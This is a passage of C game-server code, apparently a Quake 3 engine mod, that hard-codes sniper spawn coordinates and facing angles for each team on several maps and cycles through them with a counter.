}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= -731;
deathmatchspawn[1]= -6217;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= -1607;
deathmatchspawn[1]= -3882;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= -641;
deathmatchspawn[1]= -6215;
deathmatchspawn[2]= 2328;
deathmatchangles[1]= 90;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "dark")){
if(level.flagteam == TEAM_RED){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -3073;
deathmatchspawn[1]= 1609;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -1707;
deathmatchspawn[1]= 345;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -1707;
deathmatchspawn[1]= 282;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -1708;
deathmatchspawn[1]= 35;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -1708;
deathmatchspawn[1]= -34;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
//Fireplace
deathmatchspawn[0]= -1705;
deathmatchspawn[1]= 157;
deathmatchspawn[2]= 802;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -1706;
deathmatchspawn[1]= 191;
deathmatchspawn[2]= 896;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -1703;
deathmatchspawn[1]= 129;
deathmatchspawn[2]= 896;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}else{
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 4393;
deathmatchspawn[1]= 3103;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 4323;
deathmatchspawn[1]= 3104;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 4253;
deathmatchspawn[1]= 3107;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 4391;
deathmatchspawn[1]= 3158;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 4320;
deathmatchspawn[1]= 3158;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 4248;
deathmatchspawn[1]= 3160;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 4390;
deathmatchspawn[1]= 3049;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 4319;
deathmatchspawn[1]= 3049;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 4252;
deathmatchspawn[1]= 3050;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 4180;
deathmatchspawn[1]= 3051;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 4180;
deathmatchspawn[1]= 3107;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 4179;
deathmatchspawn[1]= 3161;
deathmatchspawn[2]= 662;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= 4316;
deathmatchspawn[1]= 2654;
deathmatchspawn[2]= 767;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= 4311;
deathmatchspawn[1]= 2576;
deathmatchspawn[2]= 747;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= 4313;
deathmatchspawn[1]= 2491;
deathmatchspawn[2]= 726;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= 4315;
deathmatchspawn[1]= 3553;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 16){
deathmatchspawn[0]= 4312;
deathmatchspawn[1]= 3654;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 17){
deathmatchspawn[0]= 4312;
deathmatchspawn[1]= 3760;
deathmatchspawn[2]= 657;
deathmatchangles[1]= 180;
level.RedSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "assault")){
if(level.flagteam == TEAM_RED){
/* if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 2962;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 2877;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 2790;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 2706;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 2965;
deathmatchspawn[1]= 3203;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 2878;
deathmatchspawn[1]= 3202;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 2788;
deathmatchspawn[1]= 3202;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 2704;
deathmatchspawn[1]= 3198;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
level.RedSniperSpawnPoint = 0;
}*/
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -1036;
deathmatchspawn[1]= 913;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -966;
deathmatchspawn[1]= 913;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -890;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -818;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -731;
deathmatchspawn[1]= 910;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -651;
deathmatchspawn[1]= 909;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -559;
deathmatchspawn[1]= 906;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -559;
deathmatchspawn[1]= 986;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
level.RedSniperSpawnPoint = 0;
}
}else{
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 3225;
deathmatchspawn[1]= -3380;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 7365;
deathmatchspawn[1]= -976;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 7473;
deathmatchspawn[1]= 1170;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 3224;
deathmatchspawn[1]= -3280;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 7368;
deathmatchspawn[1]= -1149;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 7467;
deathmatchspawn[1]= 1283;
deathmatchspawn[2]= 90;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 3284;
deathmatchspawn[1]= -3379;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 7367;
deathmatchspawn[1]= -1062;
deathmatchspawn[2]= 90;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 7459;
deathmatchspawn[1]= 1389;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 3284;
deathmatchspawn[1]= -3278;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= 7266;
deathmatchspawn[1]= -976;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= 7365;
deathmatchspawn[1]= 1171;
deathmatchspawn[2]= 90;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= 7268;
deathmatchspawn[1]= -1060;
deathmatchspawn[2]= 90;
deathmatchangles[1]= -180;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= 7364;
deathmatchspawn[1]= 1279;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= 7270;
deathmatchspawn[1]= -1151;
deathmatchspawn[2]= 90;
deathmatchangles[1]= 180;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= 7363;
deathmatchspawn[1]= 1388;
deathmatchspawn[2]= 90;
deathmatchangles[1]= -180;
level.RedSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "trainyard")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -1551;
deathmatchspawn[1]= 682;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -1608;
deathmatchspawn[1]= 682;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -1408;
deathmatchspawn[1]= 1048;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -1410;
deathmatchspawn[1]= 970;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -1550;
deathmatchspawn[1]= 617;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -1609;
deathmatchspawn[1]= 617;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -1408;
deathmatchspawn[1]= 822;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -1408;
deathmatchspawn[1]= 898;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -1611;
deathmatchspawn[1]= 547;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -1341;
deathmatchspawn[1]= 1048;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 10){
deathmatchspawn[0]= -1339;
deathmatchspawn[1]= 970;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 11){
deathmatchspawn[0]= -1610;
deathmatchspawn[1]= 484;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 12){
deathmatchspawn[0]= -1611;
deathmatchspawn[1]= 416;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 13){
deathmatchspawn[0]= -1550;
deathmatchspawn[1]= 484;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 14){
deathmatchspawn[0]= -1339;
deathmatchspawn[1]= 896;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 15){
deathmatchspawn[0]= -1339;
deathmatchspawn[1]= 821;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "tram")){
if (level.flagteam == TEAM_RED){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= -214;
deathmatchspawn[1]= 348;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= -145;
deathmatchspawn[1]= 348;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= -217;
deathmatchspawn[1]= 185;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= -217;
deathmatchspawn[1]= 17;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= -38;
deathmatchspawn[1]= 14;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= -38;
deathmatchspawn[1]= 182;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= -39;
deathmatchspawn[1]= 91;
deathmatchspawn[2]= 838;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= -216;
deathmatchspawn[1]= 96;
deathmatchspawn[2]= 816;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= -125;
deathmatchspawn[1]= 187;
deathmatchspawn[2]= 830;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= -123;
deathmatchspawn[1]= -24;
deathmatchspawn[2]= 821;
deathmatchangles[1]= -90;
level.RedSniperSpawnPoint = 0;
}
}else{
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 3372;
deathmatchspawn[1]= 1818;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 3487;
deathmatchspawn[1]= 1816;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 3614;
deathmatchspawn[1]= 1816;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 3733;
deathmatchspawn[1]= 1815;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 3382;
deathmatchspawn[1]= 1440;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= 0;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 3377;
deathmatchspawn[1]= 1685;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 6){
deathmatchspawn[0]= 3485;
deathmatchspawn[1]= 1681;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 7){
deathmatchspawn[0]= 3614;
deathmatchspawn[1]= 1684;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 8){
deathmatchspawn[0]= 3731;
deathmatchspawn[1]= 1684;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -90;
}else if(level.RedSniperSpawnPoint == 9){
deathmatchspawn[0]= 3444;
deathmatchspawn[1]= 1441;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= 0;
level.RedSniperSpawnPoint = 0;
}
}
}
/////////////////////////////////////////////////// ALLIES ///////////////////////////////////////////
}else{//Allied Spawns!
level.BlueSniperSpawnPoint++;//add 1 every time its called
if (!Q_stricmp(mapName, "baseout")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -2372;
deathmatchspawn[1]= -670;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -2439;
deathmatchspawn[1]= -670;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -2503;
deathmatchspawn[1]= -669;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -2565;
deathmatchspawn[1]= -670;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -2631;
deathmatchspawn[1]= -670;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -2692;
deathmatchspawn[1]= -670;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -2374;
deathmatchspawn[1]= -606;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -2439;
deathmatchspawn[1]= -606;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -2503;
deathmatchspawn[1]= -606;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -2564;
deathmatchspawn[1]= -606;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -2627;
deathmatchspawn[1]= -606;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -2693;
deathmatchspawn[1]= -605;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= -2694;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= -2628;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= -2565;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= -2503;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 16){
deathmatchspawn[0]= -2436;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 17){
deathmatchspawn[0]= -2374;
deathmatchspawn[1]= -541;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 90;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "boss1")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -2361;
deathmatchspawn[1]= 217;
deathmatchspawn[2]= -95;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -2342;
deathmatchspawn[1]= -87;
deathmatchspawn[2]= -95;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -2586;
deathmatchspawn[1]= -213;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -2781;
deathmatchspawn[1]= -157;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -2778;
deathmatchspawn[1]= -83;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -2776;
deathmatchspawn[1]= -14;
deathmatchspawn[2]= -99;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -2597;
deathmatchspawn[1]= 359;
deathmatchspawn[2]= -71;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -2307;
deathmatchspawn[1]= 101;
deathmatchspawn[2]= 80;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -2307;
deathmatchspawn[1]= 41;
deathmatchspawn[2]= 80;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -2642;
deathmatchspawn[1]= 98;
deathmatchspawn[2]= 80;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -2642;
deathmatchspawn[1]= 25;
deathmatchspawn[2]= 80;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "chateau")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 2128;
deathmatchspawn[1]= 352;
deathmatchspawn[2]= -7;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 2128;
deathmatchspawn[1]= 401;
deathmatchspawn[2]= -7;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 2128;
deathmatchspawn[1]= 304;
deathmatchspawn[2]= -7;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 1128;
deathmatchspawn[1]= 1161;
deathmatchspawn[2]= -215;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 1128;
deathmatchspawn[1]= 1219;
deathmatchspawn[2]= -215;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 1872;
deathmatchspawn[1]= -1;
deathmatchspawn[2]= -39;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 1616;
deathmatchspawn[1]= -1;
deathmatchspawn[2]= -39;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 1360;
deathmatchspawn[1]= -2;
deathmatchspawn[2]= -39;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 1129;
deathmatchspawn[1]= 997;
deathmatchspawn[2]= -215;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 1130;
deathmatchspawn[1]= 943;
deathmatchspawn[2]= -215;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 1840;
deathmatchspawn[1]= 608;
deathmatchspawn[2]= -39;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 1903;
deathmatchspawn[1]= 608;
deathmatchspawn[2]= -39;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 1126;
deathmatchspawn[1]= 1052;
deathmatchspawn[2]= -215;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 1129;
deathmatchspawn[1]= 1103;
deathmatchspawn[2]= -215;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= 1396;
deathmatchspawn[1]= 608;
deathmatchspawn[2]= -39;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 1328;
deathmatchspawn[1]= 608;
deathmatchspawn[2]= -39;
deathmatchangles[1]= -90;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "forest")){
if (level.flagteam == TEAM_BLUE){/*
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 2077;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 601;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 2158;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 598;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 2261;
deathmatchspawn[1]= 5306;
deathmatchspawn[2]= 589;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 2361;
deathmatchspawn[1]= 5307;
deathmatchspawn[2]= 584;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 2081;
deathmatchspawn[1]= 5199;
deathmatchspawn[2]= 592;
deathmatchangles[1]= -91;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 2162;
deathmatchspawn[1]= 5196;
deathmatchspawn[2]= 592;
deathmatchangles[1]= -91;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 2264;
deathmatchspawn[1]= 5193;
deathmatchspawn[2]= 589;
deathmatchangles[1]= -89;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 2082;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -85;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 2164;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -88;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 2261;
deathmatchspawn[1]= 5111;
deathmatchspawn[2]= 585;
deathmatchangles[1]= -83;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 2357;
deathmatchspawn[1]= 5110;
deathmatchspawn[2]= 583;
deathmatchangles[1]= -81;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 2357;
deathmatchspawn[1]= 5207;
deathmatchspawn[2]= 584;
deathmatchangles[1]= -87;
level.BlueSniperSpawnPoint = 0;
}
*/
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -66;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 3;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -178;
deathmatchspawn[1]= 3484;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -248;
deathmatchspawn[1]= 3484;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -29;
deathmatchspawn[1]= 3675;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 37;
deathmatchspawn[1]= 3675;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -221;
deathmatchspawn[1]= 3676;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -288;
deathmatchspawn[1]= 3676;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 74;
deathmatchspawn[1]= 3485;
deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -310;
deathmatchspawn[1]= 3485;
